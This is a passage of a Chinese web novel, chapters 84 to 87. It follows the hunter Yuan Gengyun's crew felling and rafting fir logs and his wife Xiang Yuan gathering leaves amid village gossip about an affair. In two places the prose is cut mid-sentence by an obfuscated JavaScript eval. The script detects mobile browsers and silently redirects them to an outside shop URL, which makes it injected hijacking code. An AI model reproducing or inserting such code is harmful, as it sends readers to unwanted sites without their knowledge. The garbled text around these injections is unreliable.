伐木也不是随随便便就挨着伐的,山林对猎人来说意义非凡。上山之前,原耕耘就跟众人交代过,要挑选着砍伐,尽量减少对原有生境的破坏。 这些黄穗平和田武他们几个都懂,听他这样说,反而对他更加服气几分。 所以尽管这一片杉木多如牛毛,个个参天挺立,他们也只间隔着挑选砍伐,速度算不上快。 砍伐的时候,要留一尺高的伐桩,若是天气雨水适宜,伐桩来年还能萌生枝条,枝条长些年份,就又长成参天大树。 砍伐下来的杉木,要把尾梢削去,便于结成木筏漂流运送,这往往是他们晚上要做的活计。 到正午时分,他们已经砍了九十来根杉木,众人去附近的溪边洗漱。 都是大男人,忙活一大晌又热又累,脱了衣裳就往水里蹚。 周满仓动作最快,扒剩一条底裤就扑腾进去,别人走到岸边的时候,他都呼噜呼噜游了一圈了。 田武只慢他一步,接着是周铁脊、李巨山、黄穗平、黄穗安。 陆盛是个慢性子,他一直都是最后一个下水的,这会儿还在慢慢往岸边走。 周二仓快一点,但他今天没有下水的打算,掖着短褐蹲到岸边撩水洗,连脖子都不敢往外露。 田武几个就笑,“二仓行啊,知道今儿个有正事儿还敢招惹弟妹,怎么,弟妹挠你了?” 八个人里,除了周满仓、黄穗安和陆盛没娶妻,原耕耘新婚,其他几个都是成婚好几年的糙汉子。 田武媳妇儿刚怀上,他想受伤也没得受,所以笑话起人来最厉害。 周铁脊和李巨山孩子都俩了,有伤也只当是勋章,根本不怕人笑,最爱跟着起哄。 周二仓:“……” 他媳妇儿还真挠他了,可是他屈啊,他啥也没干,就是早上刚醒脑子懵了,喊他媳妇儿起来换班,他媳妇儿嗷的一下就扑过来挠他,一下子把他挠清醒了,这才想起今儿个不是他媳妇儿的班。 知晓前因后果的周满仓同情地看他哥一眼,寻思还不如挠背上了,至少大家夸你厉害,挠脖子上,让人看见,还以为两口子打架呢,这不得羞死。 他找媳妇儿的标准又多了一条,除了胖,指甲还得短,顶好是水指甲,软软的,不着力,就是挠一下,也留不下痕迹。 只要真心待他好,肯心疼他体贴他,别说脊梁和胸膛,就是脸跟脖子也给她挠。 刚摸着腰带准备脱衣裳的原耕耘脚步一顿,招呼一二三去另一侧的湖里捕鱼。 昨天过于沉浸,他不记得向园有没有给他留伤,万一留了……还是不脱衣裳的好。 这几个干起活来都是一个顶俩的好手,可私下里品行如何,还不好说,他无意把闺帏之事展露出来成为众人谈资。 他在,大家没人敢调笑他,他一走,大家就又议论开。 李巨山冲大家挤眉弄眼,“九郎是不是也叫挠了,所以不敢下水。” 陆盛嫌弃地撇撇嘴,脚步一绕往边上另一个水坑里去。看来还是活不够累,一个个闲的没事干还管别人关起门怎么过日子。 他揉了两个草团塞耳朵里,慢悠悠洗澡。 周满仓比较天真,听了李巨山的话,立刻反驳道:“怎么可能!谁被挠九哥也不可能被挠。” 向娘子很厉害,但她可不像会挠人的人,九哥也很厉害,他更加不像会任媳妇儿挠的人。 黄穗安看着傻愣愣的周满仓,没说话。 虽然向娘子既像扮猪吃老虎的猪,又像大灰狼手底下的小白兔,但是他猜,她要肯挠九郎一下,管他原九是什么大灰狼还是纸皮老虎,估计都得乐疯。 这虽然只是他的直觉,但他的直觉一向很准。 黄穗平就很犀利,望到李巨山背上新旧交错的抓痕,状似无意地问道:“听说嫂子回娘家了,那巨山哥又是被谁挠的?” 李巨山嘿嘿一笑,没再说话。 周铁脊清楚他的德行,岔开话取笑周满仓,“你个生瓜蛋子,啥也不懂呢,知道啥挠不挠的。你哥有经验,你回头跟他请教请教。” 周二仓、周满仓两个是他同族兄弟,他笑话起来毫无压力。 周满仓气得眼都瞪圆了,跟着就扑腾过去,跟他泼起水来,“老三哥你笑话谁呢,凭啥我就不能知道,凭啥我就得人教。” 水没泼中周铁脊,边上李巨山受了无妄之灾。 “呸呸呸!”他连忙吐了几口口水,“好了好了好了!你懂你懂,别扑腾了啊,洗澡水差点没叫我喝进去!” 周铁脊也把周满仓当小孩儿看,哄道:“行行行,知道你知道,不是逗你呢嘛!回头你娶媳妇儿,也叫她挠你一下子,你就知道这里头的好处了!” 他这话有些不怀好意,因为在他看来,以周满仓这二货性子,真能干出来新婚之夜二话不说就要求媳妇儿挠他一下的事儿,只为知道这里头到底有什么好处。 “哼!”周满仓才不跟他们计较,就是叫媳妇儿挠了也不能让这帮龟孙知道。 又暗自庆幸,幸亏昨天他就去药铺买了木香煎水喝,昨晚就不疼不红也不肿了,不然让这帮龟孙子瞧见,还不给他传的隔壁村都知道。 原耕耘在另一边简单洗过澡,带着几条狗噙的鱼过来,他们几个已经啃起干粮了。还生了一堆火,火上架着一个罐子,一锅稀米粥正咕嘟咕嘟翻滚着。 天气热,不喝点汤汤水水的容易上火,喝生水又容易生病。 原耕耘带了一个铁鼎罐上来,里头装着米,还有金银花和买了没煎完的黄连。每餐或是煮粥或是煮水,总要煮一罐,够晌间喝的。 “九郎,你还真去捉鱼了啊。”周二仓惊讶出声。 他也以为原耕耘身上有伤,不好意思叫大家瞧。 原耕耘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16855902|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,把筐子放下,自然有想吃的人去收拾内脏刮鱼鳞。 原耕耘掏出馅饼,吃了两个,想想又拿出第三个啃。田武收拾鱼的手法跟以前他收拾鱼的手法一样,他不想吃鱼了。 黄穗安也不想吃鱼,盯着原耕耘手里的饼子下饭。 他嫂子身体还没好,这几天的饭都是他和他哥轮流做的,哥俩比赛似的,看谁做的难吃,干粮……干粮更是难吃到了极点。 他都闻见了,九郎那饼子里有青椒的辣味,还有茄子的香味,真馋人! 周二仓也馋,“九郎,分口尝尝呗!我的窝窝头和香椿酱分你吃。” 他们兄弟俩的干粮也不赖,窝窝头配香椿酱,总是遭人抢,但还是没有带馅的饼子香。 原耕耘不换,窝窝头他带的也有。饼子只够他吃两天的,后头就得靠馒头、窝窝头、饼子和酱过活了。向园怕他总吃一样会腻歪,特意多做了几种。 在山上,没别的念想,也就向园做的吃食,他能珍惜些了。 周满仓祈求道:“就分一点点。够我们尝个味儿就行。” 他拇指和食指拿捏着,比了星星点点的手势。 要不是原耕耘的干粮袋就在他另一只手底下捂着,差点就信了他的鬼话。 原耕耘瞧他一眼,思考了一会才道:“可以,拿东西换。” 大家齐刷刷看过来,田武手里的鱼都差点叫水冲跑,他赶忙捞回来,几步窜过来等待指令。 周满仓已经出声,“好嘞!你要换什么,我这堆东西随你挑。” 他指着自己带上山的家当:两套破衣烂衫,一个破毡子,山里夜间天凉,得盖点东西,不然容易受凉。还有一个粗陶碗,一袋干粮,再就是火石镰刀等小工具。 他一指的工夫,原耕耘的干粮袋已经物归原主,他打眼一瞧,还有十八个馅饼,他数了八个拿出来分给众人。 “用那个换。”他指指林间腐木上生长的木耳,“菌子也行。” 三月里摘了菌子,向园做过一回菌子酱,前两天吃完了。她正想再捡一些多做两罐,这回正好给她带回去。 吃了外酥里软、麦香油香的饼子,大家下午都很用心,不只用心伐木,还用心看菌子。 菌子不难得,只要想吃,下雨了去林子里转一圈总能寻到,他们之前就看见不少,偶尔会采一把煮个汤,更多时候都忽略过去了。 一天下来累死个人,还得晒干收着也挺麻烦,这会儿原耕耘要,他们反倒用心了。 “九郎,这有一坨。” 不远处传来吼声。 原耕耘:“……” 一丛就一丛,喊什么一坨。 到晚上,原耕耘已经积攒了一小堆菌子和一大捧木耳。 杉木比上午弄得还多,照这个效率,说不定他们能提前一天下山。 削完杉木的枝梢,大家都去洗漱了,原耕耘则趁着月光把菌子和木耳洗干净,晾在溪边背风的巨石上。 杉木就堆在附近的高地。 他们九个则住在更高一些的位置,虽说这满天星辰,看着不会下雨,可山中气象万千,谁知道会突然发生什么,自然一切以安全为重。 85. 第 85 章 山下,向园盘腿坐在床上,看原耕耘给她画的睡前小故事,有小孩儿的,也有大人的。 小孩儿的比较多,大概讲了一个婴儿从出生到两岁的成长过程,她的身边一直陪伴着一个小孩儿。 向园猜测,婴儿是自己,小孩儿应该是她的耕耘哥哥。 她不禁佩服他记性好。她出生的时候,他才两岁半吧,怎么能记得这样清楚?又或者,这是他想象着画的,并不是真实发生的过往? 再往后翻一页,向园一整个愣住了。 画上,两岁小孩儿让五岁小孩儿伸手,要给他看好东西。五岁小孩儿高兴地伸出手,然后,两岁小孩儿往他手上放了一只……大青虫? 这肯定不是真的!一定是原耕耘瞎胡画的! 向园气得嘴巴鼓起,一股脑把画塞在枕头下。 她躺下辗转良久,不能入睡,想起原耕耘说过的话:“你一见我就往我袖子上擤鼻涕,我一天要换八套衣裳!” 我小时候真这么坏?向园不敢相信。 可如果擤鼻涕是真的的话,那放大青虫吓唬人可能也是真的。 一下子,愧疚淹没了向园。 这种愧疚不仅包括对幼时蔫坏的自己调皮捣蛋的羞愧,还有做错事不仅不道歉还一丁点都不记得的惭愧。 她一骨碌爬起来,坐在床上继续看。 儿童画这就是最后一张了,再往后就是大人画了,画上画的他们第一次上山的场景。 向园看到原耕耘走过竹叶小道,留下一个个脚印,她顺着脚印往前走。 当时他说的什么?他说:“不要看脚下,往前走,我带你走过的地方,就是路。” 如今看,他的确带她走出一条路。 不只是那条山路,还有他们如今正在走的路。 向园看到解下腰带的原耕耘,和咫尺之距,撑开指缝偷偷瞧他的自己。 自己当时想什么?好像在想,耕耘哥哥真不见外,连解手都不喊她走远点。 甚至因为没有听见水声,还怀疑他小便不利,要给他看舌苔,用菟丝子。 后来他说:“如果那时我知道菟丝子是做什么用的,那天,我一定不会放你下山。” 他那时候就想吃掉她。 向园看到他托着她的手肘走山路,原来他的目光一直在她身上。 向园看到她神采奕奕地说包包子,而他凝视着她,眉目之间满是好奇、期待和隐隐的担忧。 他担心她走不出亲人离世的伤痛。 向园看到门外召唤一二三的自己,和一墙之隔把脸浸在水盆里,鬓边却依旧冒汗的原耕耘。 原来耕耘哥哥说想吃掉她,就是因为这个? 他是不是觉得她故意勾引他? 幸好看到竹鼠的时候,自己没有挂到他身上去,不然可能真的会被他吃掉。 向园心有余悸地想。 画上的原耕耘鬓发都湿了,脑门上还悬着一朵云,云上标注着“壹、贰、叁、肆、伍、陆、柒、捌、玖、拾”,延伸到不知名的远方。 是这朵云单给他下了一场雨吗? 向园不大懂,继续往下看。 看到下一张天头部位标注的壹,她才明白这是什么意思。 原耕耘画了八张春图,将向园翻来覆去吃了八遍,天头写着玖的纸上只有一行小字:“认真研习,玖拾两页,待归共补余白。” 向园:“研你个头……补你个头!” 她一刻也忍不了,起身去外间书桌上,拿笔在纸上描了两下,画了个小肚鸡肠小心眼的大头鬼。 山上的原耕耘打了个喷嚏,周满仓关心道:“九哥,你是不是冻着了,毡子分你一半?” 原耕耘:“……不用!” 成亲后、夫妻两地分离、打喷嚏,这一定是向园在想他。 . 原耕耘上山第五天,五月初一。 向园的文武膏大业总算告一段落,桑林里只剩下稀稀落落的青红桑葚了,没有熟透的。 这几天小孩儿们都是捡着摘的,余下的空闲,他们也不戏耍,都用来摘桑叶。 夏季桑叶药效稍逊,向园主要为着下半年用,所以只要叶大肥厚、色泽深绿的老叶,还不能有破损,这个比桑葚费些功夫,向园开的价高,两文钱一篮子。 小孩儿们摘了两三天就足够她用的,不过向园每天还要熬一些文武膏,就没采用过于复杂的炮制方法。 她用的是最传统的阴干法,把桑叶平铺在竹匾里,放在通风阴凉处自然干燥即可。 虽然这种方法耗时比较长,但是比起蒸制法和炒制法更能保持效用。比起蜜炙法成本更加低廉。 不过不同的炮制方法也是针对不同的效用,向园想着等抽出空了,蒸制、炒制的也要各做一些,这两种方法可以减轻桑叶本身的寒性,更适合妇人小孩儿和脾胃虚寒者。 向园给阿七几个结了最后一笔工钱,他们还十分不舍,一个个喊着念着,姐姐婶婶姑姑姨姨,乱喊一气。大概意思只有一个,以后有这种好事,还要喊我们来帮忙。 向园笑眯眯应下,给他们各装了一竹筒桑葚膏。 自打原耕耘给她的药房收拾好,向园发现她的小坛子小罐子又不够用了,回头还要再多买一些。 五月初二,杨可真从村里过来,喊向园一起去打箬叶。 向园起早就把糯米泡上了,盘算着今儿个或者明儿个就把粽子包出来。 糯米泡得有些多,昨天她在附近打过一些箬叶,肯定不够,今天正想去别处再找找,现在多个人一起,自然是高兴,跟樊云英交代一声就要出门。 打箬叶的地方在三道岭那边,要从村子里经过。 走在村路上,两人一路喊人一路招呼,知道她俩打箬叶,不少人都提篮背筐跟着一起。 手头宽不宽裕,节都得过的。过后又要收麦收稻,大家都想趁着这个时候做些平日里舍不得吃的吃食,打打牙祭,补补身体,也是过节的意思。 糯米虽不像大米那样家常,却是年节里必不可少的。无论是蒸年糕、打糍粑、酿米酒、包粽子,团汤圆,又或是做糕团点心,都少不了糯米。 绿蒲村地多的人家每年总要种一亩半亩的糯稻,收获的糯米就够一整年吃的了。便是吃不完,还可以卖到粮铺去,比大米和小麦价格高些。 向园的三亩稻田连成一块,原耕耘种的时候不想麻烦,除了单辟出一块秧田外,其余地方都种的水稻。 但向园没回来的时候,原耕耘年年都会送几斗糯米到梅家小院去,那是他在屏山第一峰河谷地带开的一块荒地的出产。 头一年他没有经验,种的晚了些,稻子长得不好,又被野猪光顾,颗粒无收。后来他长教训,四周围了堰坝,又设了一圈陷阱,虽然除了播种收获注水放水外不怎么收拾,稻子竟也长得不错,这两年每年都能打个两石糯米。 他每年还有意扩大种植范围,如今那块地已经有两亩大小了,产的糯米一整年也吃不完。 去年收的就还有好多,今年的眼看着也快要收了,原耕耘想着收完再种一季,秧苗月前就育上了,就在院子前头划出来的秧田里,如今已经长得有六寸高。 不过下半年产量肯定没有上半年好,但是试试,只要能收个一石左右,就不算亏。 村里没种糯米的人家,一到节气里,也很愿意拿别的粮食来换。 昨儿个早市向园就用一篮子糯米换了不少绿豆、红豆、黑豆和白眉豆、赤小豆。 绿豆、红豆、黑豆价格都不高,最贵的绿豆、红豆也只有糯米价格的三分之一,黑豆更便宜一些。 向园用一篮子糯米换了一背篓的绿豆、红 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其中一个是给向园摘桑葚的阿牛的娘,叫端嫂子的,对向园尤其亲近,招呼她们过去歇脚。 向园笑着摆摆手,“嫂子们忙吧,我们赶凉快去山上打箬叶。” 端嫂子还未说话,旁边一个穿桃红衫子的妇人伸了下懒腰,眯着眼懒懒道:“这就是九郎家的呀,模样果真标致。” 打量过来的目光过于直白,又过于轻浮,让向园一下子就想到话本里勾引过路书生的狐狸精。 她也把目光投过去,仔细观察对方。 女子细眼修眉薄嘴唇,便是不笑也带着几分媚态,加之做的这个动作,更显得柔媚无骨,风流艳冶。 确实很像狐狸精啊! 向园心中惊叹,终于见到活的了。 但不要紧,她不会被迷到。相对媚眼如丝爱勾人的狐狸精,向园更喜欢松树精、竹子精、梨仙、桃妖这种花草树木成精的。 女子似乎不在意她的打量,说完那话,又故作惊奇地问:“这时候去打箬叶?” 向园睁大眼睛,左右看看,真情实感的表达疑惑:端午节打箬叶有什么问题吗? 那女子娇滴滴一笑,“呀!瞧我,见天忙的,都忘了日子,也是该包粽子的时候啦!” 向园就看到这头儿不少人偷偷撇了撇嘴,跟她搭班的两个妇人似乎也看不惯她,齐齐撇头翻了个白眼。 唐棣华笑骂道:“巨川家的,你可别嘚瑟啦!你就是不说,我们也知道你是大忙人,有钱挣,跟我们这些闲人不一样!” 巨川家的?向园皱了皱眉。 她们找的看棚子的人里基本没有一家出来的,李巨山不是让他媳妇儿来替班了吗? 这个是巨川家的,不是巨山家的?还是她听错了? 这会儿人多不好细问,向园按捺住心思,打算回头问问原耕耘再说。 “哼!”巨川家的理了理窄窄的袖口,噘着嘴卖弄,“婶子可折煞我,我倒是想讨份清闲,还讨不来呢!” 这样的人,只要你接了她的话,她就能没完没了地说,又说不出个真金白银来。 唐棣华不再说话,只跟她边上另两人道:“天热,我们先上去了,赶紧打完还赶着回家做晌午饭呢。” 端嫂子和节嫂子似乎也不热乎巨川家的,笑道:“嗯,你们早点下来,说不得还能赶上放排。等会他们就从山上下来了,晨起已经送了两筏下来,说是山上还有些,再有一筏就弄完了,你们前头没瞧见,可热闹、可气派了,长长的木排摆得跟凤凰尾巴似的,一下子就冲到岸上来……” 这里头有的人已经瞧过,也有没瞧过,想凑热闹的,便催促着赶紧往山上去,早点忙完好下来看热闹。 86. 第 86 章 打箬叶的地方就在三道岭第一道西边的半山腰处,一蓬蓬一丛丛人高的矮竹挨挨挤挤长满一片山坡。 箬竹叶片大而宽展,像一盏盏青丝丝的小船,看着就让人心生欢喜。 妇人们眼睛亮亮,像叫这绿色洗过一般,顾不上再说闲话,各自寻了个位置站定,就开始摘起箬叶来。 向园在队伍末尾,靠下的地方都叫人占据,她跟着唐棣华和杨可真往上头走,到清静无人处才停下采摘。 箬竹叶也是一味药,有通小便,利肺气,治喉痹,消痈肿等功效。向园摘了一会儿,琢磨着足够包粽子和入药用,便低头寻摸起来。 她想着若有合适的小苗儿可以分几株种到院子周围,以后就省得跑这么远来摘了。 就这样走了一段,还真叫她找到两株。 向园翻出背筐里的小锛铲,举起来正要开挖,就听见夹杂在沙沙竹叶声中,悉悉索索的议论。 “巨山家的咋回事啊,就任巨山跟那骚狐狸厮混?” “就李巨山那熊样子,稍微平头正脸的,他瞧见都走不动道儿,更何况那样个狐媚子……青蓝哪能管得住啊,都回娘家住好些天了!” 蹲坐在地的向园皱了皱眉。 这个李巨山竟然骗人!介绍来的根本不是他媳妇! 她思索着,就听见第三个人的声音,“老天爷真不会配姻缘,你说这俩人,男的□□、女的犯贱,咋就不把他们配成一对,还要祸害别人呢?青蓝跟巨川摊上这样的,算是倒大霉了。” “咦,你以为配一对就万事大吉了,俩人都是贱性,就是配一对也挡不住要偷腥偷汉呢!巨山胃口大胆子小,偷她一个也就够了,别的他可没胆量上手。那柳氏可是个荡的,多少男人都喂不饱她!” “呸,我是瞧不惯她那浪样儿,也不闻闻自己一身骚味,还想勾搭人清俊后生呢,真当谁都跟她大伯子似的,她伸伸指头,就往她裤子底下钻!” “……” 声音渐渐远去,到了也没听明白柳氏勾搭了哪个清俊后生的向园继续刨箬竹,反正不是原耕耘就行。 原耕耘已经结婚了,虽然年纪小些,但跟李巨山算是一辈儿的,应该不算清俊后生了吧! 难道是陆盛?还是黄穗安?总不可能是周满仓吧,那也太后生了一点。 向园想不明白,麻利刨了竹根丢进筐里往下走,她和唐棣华、杨可真约好在半山腰处汇合。 越往下走,人越多。 一位婶子见是她,笑着打趣,“我们刚还说呢,还得是你家九郎,不只长得俊,还有本事,这样大手笔的买卖他都能谈下来,向丫头你可是有福啦!” 向园腼腆笑笑,没有接话。 耕耘哥哥现在是她家的,她要是应下这话,衬得她没脸没皮的,连带着显得原耕耘也高傲自大起来。要是不应,人家还当她故意摆架子呢。 她不说话,但这话头却叫人牵起来了,大家可不管正主在不在场,议论纷纷。 “早几年他们娘俩刚回来那会儿我就看着好,娘贤惠知礼,儿子也孝顺能干,这不几年过去了,可不就是越过越好了么!如今又娶了向丫头这样的漂亮媳妇儿,这男才女貌的,将来的日子更不愁了。” “可不是嘛,少见这样出挑般配的孩子,这要是我家的,不得做梦都要笑醒?看着都养眼呢!” “哼,就这儿也挡不住有人眼红呢,瞅瞅那些个,吃不着葡萄说葡萄酸,也不看看自己哪点比得上向丫头,成日里拈酸吃醋的,倒像是抢了她家的似的。” 这话好似是向着向园说的,可向园听着着实不顺耳,她正想挥挥手自己先走,便有人拉她一道往山下去,“走吧,向丫头,咱一起走!” “瞧你也是个能干的,摘这一大筐,能背得动不,要不要婶子帮你抬着?” “不用不用,能背得动,谢谢婶子!”向园连连摆手,往半山腰处瞧着试图搜寻唐棣华和杨可真的身影。 这厢说着,那厢已经有人接了前头的话头,“孙家的,你说那个做什么?都是这山望着那山高的,今儿个说这,明儿个说那,也没见原家有事的时候谁真伸过一把手。看人家本事了,一个个都捶胸顿足起来,如今后悔现成的桃子叫人摘了,早干嘛去了!” “可不是嘛!园丫头,可把你家九郎看好了,眼馋他的人多着呢,可别叫那起子没廉耻的勾了去。” “九郎是好,可我看园丫头这模样性情,哪里埋没他了?园丫头还懂医呢,大平家的不就是园丫头治好的。” “还真是,园丫头小小年纪脑子怎么就这样灵光,学一学看一看就知道怎么治了,怪让人佩服的!” “我就说向家祖坟位置好,我经过那里几回,回回看着那片一团青雾,可不就是冒青烟儿了,向丫头以后只怕要承继父祖志向,为他们争光嘞!” 向园无言以对。她也盼着这位嫂子说的是真的。 冒青烟应该是先祖得道成仙显灵了吧,那肯定是他们都过得好才能这样,这应当是好事? 可她也没看见自家坟地冒青烟啊。 “……” 众人你一言我一语说个不停,整体夸捧得居多,向园听出里头的夸张,好似还有几分奉承的意味,让人怪不习惯的。 再有夸她的那些话,她也只是左边耳朵进,右边耳朵出,毕竟她要长本事还得靠自己努力,这也不是坟上冒了青烟她脑子就能跟着变好的。 所以不管谁夸,她都笑笑,一忽儿答:“没有啦,耕耘哥哥也是给人帮忙的。”一忽儿答:“哪有哪有,我也是瞎琢磨的,都是谢大夫的功劳。” 若有人问原耕耘是给谁帮忙的,向园就又天真羞涩起来,“我也不知道,好像是他的朋友,耕耘哥哥不让我操心这些事。” 至于那些摘桃儿勾引的话,向园就只当没听懂,腼腆笑笑,再不说话。 慢腾腾挪到半山腰处时,总算和杨可真和唐棣华汇合,两人拉着向园往前头走。 “别把她们的话放心上,村里就是这样,心都不坏,就是好说!有的会说话,有的不会说话,你多过来两回就知道了。”杨可真朝刚刚讲话那些人站的地方努努鼻子,“可爱传人家闲话了。” 唐棣华也笑道:“可不是,哪里都少不了掐尖要强、拈酸吃醋的,耳根子恨不得长在人家门缝里,眼珠子恨不得粘在人家窗户上,听见两个字半句话就能编出一段词儿来。她们说好听的你就听着,不好听的就别往心里搁,权当他们在唱大戏。” 显然两人也听了不少闲话。 向园笑笑,“我才不会呢,耕耘哥哥不是那样的人。” 她这样不经心,杨可真和唐棣华又替她操起心来了。 一个点着她脑袋,恨铁不成钢,“你傻啊你,你管他是不是那样的人,你是他媳妇儿就该管他。” 另一个捏捏她的脸蛋,叹了口气,“你这样也挺好,我跟你说,你就假装听不懂,等九郎回去,你……” 唐棣华凑到两人耳边嘀咕一阵,向园瞪大眼睛,一边听一边点头。杨可真忍俊不禁,也跟着学了两招,只等回头往周二仓身上招呼。 端嫂子和节嫂子说得果然准,向园她们走到山口的时候,正遇上原耕耘他们运送杉木下山。 老远就能听到呼啦啦的水声和整齐划一的号子声。 西麓河够宽,但是有些地方水浅,得人拉着才能漂下来。向园就是听见这号子声才知道他们回来了的。 实际上快汇入蓼河的那一段也是一道浅滩,向园他们过去第一道岭摘箬叶,就是从浅滩这里过去的,河面上有汀步可以通行。 运送杉木的木筏也是到这儿停下。 原耕耘先他们一步下来查看,就是怕浅滩处有人或者牲畜经过,拉着杉木的木筏比较重,漂下来会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876263|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲撞到。 他没想到会在这儿看见向园。 眼见上头的木筏快过来了,他顾不得旁边站着的几人,朝对岸喊话,把到嘴边的“向园”二字咽下,他扬声道:“娘子,跟婶子、嫂子们先退后等一会儿,木筏就要下来了。” 他身后,久未归家的大黑和二黄正朝这边奔来,向园眼睛亮晶晶的,也喊:“知道啦!” 他晒得黑黢黢的,大黑和二黄身上也脏兮兮的,瞧着都怪可怜的。 她摸摸两个狗头,招呼大家往山根底下退一点。 说话间,黄穗平也过来了,他和原耕耘前后脚,不过是分走两岸。 原耕耘负责河西棚子边那处,木筏一会儿也是朝那儿停。黄穗平是在河东第一道岭这边,就是怕有人上山下山时不注意碰上了,他要守住山口。 哗啦啦的声音越来越近,往上瞅,已经能瞧见第一节木排了,木排上站着的是李巨山。 他站在筏上,大声吆喝,“呜——喂!” 以前只有河西有成群结队看热闹的人,没想到今儿个河东也有,还全都是花草般的娘子媳妇儿,他一时间眼都花了,头越发昂得高,腰板越发挺得直。 后头的陆盛和周满仓瞧着,对视一眼,流露出一般无二不忍直视的表情,同时撑住排篙预备随时停下。 水流和缓,到浅滩处木排速度渐缓,到汀步的位置最考验放排人的身手,排篙一点一撑,就能适时停下,往岸上冲。 李巨山性子有几分轻浮浪荡,惯爱在女子跟前撩拨卖弄,才撑起篙要显摆两下,还没扎下去,猛然发现,木排停了,而他所立的这一节,已然冲上岸了。 他一个没刹住,差点扑跌下去,惹来岸边笑声一片。 待要恼,又听见东岸阵阵银铃般的笑声,气红的脸慢慢转成黑红,既像是晒的,又像是羞的。 李巨山转头假意恼道:“你俩怎么回事儿啊,怎么不听号令行事。” 陆盛懒得搭理他,眼都不抬,踱到木排尾巴那里把筏子抻平,又把木排上快要坠落的杉木尾梢收拾一下,就走到黄穗平旁边,等下一排过来。 周满仓倒是回了两句,“巨山哥,昨夜里有女鬼找你了?怎么干正事呢,你眼都花了!你瞅瞅,再不转弯,就要把汀步撞翻啦!那要是冲到蓼河里散开了咋办,咱们还能捞得及吗?” 李巨山鼻子喷出一股气,也没说出什么。 原耕耘视线瞟过来,冷声道:“上岸,下一筏过来了。” 李巨山嘟囔两声,到底理亏,跟在周满仓后头上岸。 好在到了岸上,就有人给他慰藉:“大哥,你可算回来了!渴了吧,快来喝水!” 巨川家的丝毫不避忌,拿了自家装水的竹筒递过去。 端嫂子和节嫂子见此情景都悄咪咪退后几步,端嫂子撇嘴嘀咕道:“哪里就渴死他了!” 节嫂子扯扯她的袖子,“二川和大山家的都管不着他们,咱们跟着置什么气?拢共就这几天功夫了,只当留个面上情吧。” 端嫂子翻了个大白眼,“真是少见,合着她喝过的竹筒见一个让一个呗,当是钓鱼啊,谁接了谁上钩?这样合拍,当初咋就没成两口子呢,也省的祸害别人了。” 节嫂子摇摇头,心里也是叹息。 李巨山跟柳凤没成两口子真是可惜了,一个没见过男人似的,一个没见过女人似的。偏偏没过成一家子,却又一个锅里吃饭,一个屋檐下过日子,天长日久的,不出事儿才怪。 端嫂子又嘟囔道:“大山家的多麻利的人呢,怎么就摊上这样两个贱人!二川也是个窝囊废!” 眼见有人走近,节嫂子朝端嫂子使了个眼色,两人歇了音,踱去前头看热闹。 才刚对竹筒视而不见,转头就听见别家隐私的原耕耘皱了皱眉。 这妇人不是李巨山的媳妇儿?那李巨山喊什么屋里人? 87. 第 87 章 周二仓几个撑的第二筏也顺利靠岸,原耕耘蹚水去对岸接向园过河。 向园已经跟着婶子、嫂子们踏上了汀步,看见他过来,还愣了一下。 “怎么了?”她低声问道。 原耕耘拉她站到侧边的石头上,让后头的人先过,等人都过去了,他接过向园的背篓背在自己背上,感受到沉甸甸的重量,他问:“糯米都泡上了?怎么打这么多?” 向园掏出帕子递过去,原耕耘不接,低头看她。 向园只好自己拿着给他擦汗,“我泡的糯米有点多,昨天打了一些不太够,今天杨姐姐喊我,我就再来打一些。”又凑近了悄声道:“这个也能入药,我要多存一些。” 原耕耘点头。向园看他晒得脸又黑了一个度,把自己的水葫芦递给他。 她虽戴了草帽,额头上亦有汗珠,原耕耘开了盖子,先递过去让她喝。 向园摇头,“你喝吧。” 她只是有点渴,但不是特别渴,可耕耘哥哥的嘴皮子都干裂了。 原耕耘依旧递给她。 向园知晓他的毛病,接过来抿了两口,原耕耘这才一口气把剩下的水喝光,“在棚子底下等我一会儿,收拾完我们一起回去。” 向园本来就打算等他,“嗯嗯,我刚刚就跟杨姐姐还有唐婶子说过了。” 还被她俩笑话了一阵。 向园想不通,唐棣华不等陆盛就算了,毕竟那是大侄孙,没必要等。难道杨可真也不等周二仓? 原耕耘不由失笑,扶着她往西岸走。 被两人堵着路还被视若无物的黄穗平:“……啧啧啧!” “啧啧”的声音有点大,前头俩人同时扭头来看,露出如出一辙的“你有事吗”的眼神,好似不正常的是他。 黄穗平:“……” 是我冒昧,你们慢聊。 他蹚水,边走边回应亲爱的弟弟的召唤。 其实之前运下来的木排已经够一千五百根了,最后这两筏,是多出来的,一则交税用,另一则,以免前头那些木头里有不合用的,能及时替换。 所以,说是一千五百根,实际上弄下来的,得有一千九百来根,近两千根了。另外,原耕耘看中的一些好木头,前头也都先运下来了,单独在另一处搁着。还有伐下来的杉木尾梢,他们也想法子固定在木排上运下来。 尾梢都不细,也不短,削平枝杈,卖到木匠那里也是一笔银钱。或者就自己留着,打个衣橱、矮柜、门窗、架子的很合用,再不济也能当柴火烧。 到向园这里,就没有再不济的事,杉木也是药啊。杉材、杉皮、杉叶都可入药,作用可多了去了。 当然,这杉木尾梢太多了,可能最终大部分还是逃不掉当柴火的命运,但是向园一定要物尽其用,让它们发挥最大的价值。 大家开始解木排往岸上抬木头。 受原耕耘影响,有女子在的场合,周家兄弟、黄家兄弟都不怎么打赤膊了,陆盛本来就不爱光膀子让人瞧,他们都只撸起袖子。 李巨山和周铁脊就没这觉悟,三下五除二就把裋褐除了。 